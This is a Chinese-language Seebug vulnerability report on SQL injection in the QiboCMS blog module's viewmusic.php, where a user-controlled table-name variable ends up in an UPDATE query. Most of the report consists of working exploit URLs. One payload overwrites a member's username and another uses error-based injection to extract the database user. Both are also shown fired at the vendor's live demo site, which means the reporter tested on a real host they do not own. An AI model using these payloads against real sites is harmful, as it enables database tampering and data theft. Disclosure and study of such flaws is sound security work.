齐博CMS博客系统注入(可更新数据库,demo测试)

2015-02-16T00:00:00
ID SSV:94180
Type seebug
Reporter Root
Modified 2015-02-16T00:00:00

Description

简要描述:

不知道

详细说明:

漏洞文件 ../blog/template/space/file/viewmusic.php

function get_viewmusic(){ global $db,$uid,$pre,$id,$timestamp,$BM; $db->query("UPDATE $BM[music_song] SET hits=hits+1,lastview='$timestamp' WHERE id='$id'"); $rsdb=$db->get_one("SELECT * FROM $BM[music_song] WHERE id='$id'"); $rsdb[posttime]=date("Y-m-d H:i:s",$rsdb[posttime]); //真实地址还原 $rsdb[content]=En_TruePath($rsdb[content],0); $rsdb[songurl]=tempdir($rsdb[songurl]); $rsdb[play] = player( $rsdb[songurl] , $width=450 , $height=335 , $autostart='false' , $rsdb[playtype] ); return $rsdb; }

可以看出 $BM[music_song]是可控的 结合qibocms的全局机制,导致注入 我们用../blog/index.php包含这个文件 直接注入 先测试update

http://localhost/blog/blog/index.php?file=viewmusic&uid=1'&id=1&BM[music_song]=qb_members set username=concat(0x32,0x31) where uid=1 %23

执行前

<img src="https://images.seebug.org/upload/201502/09113004ca5bc7abac1125e972d3fafffbf8f4a4.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

执行后

<img src="https://images.seebug.org/upload/201502/0911302458154b800894e6c5d4e5ff70b5eecba8.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">

再报错注入一下

http://localhost/blog/blog/index.php ?file=viewmusic&uid=1' &id=1&BM[music_song]=qibosoft_module where 1=1 union select ((select 1 from (select count(*),concat((user()),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

<img src="https://images.seebug.org/upload/201502/091132070486b55606a3d8cfd3a819f02ee12d50.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">

demo测试

http://v7.qibosoft.com/blog/index.php?file=viewmusic&uid=1%27&id=9&BM[music_song]=qb111_members%20set%20username=concat%280x32,0x31%29%20where%20uid=3%20%23

<img src="https://images.seebug.org/upload/201502/09113323421e335eef5d4ec4706b4c067fb1036f.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">

http://v7.qibosoft.com/blog/index.php?file=viewmusic&uid=1%27&id=9&BM[music_song]=qb_module%20where%201=1%20order%20by%20100%20%23

<img src="https://images.seebug.org/upload/201502/09113459c4c1566c9061396faa3a648737d5f99a.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

上面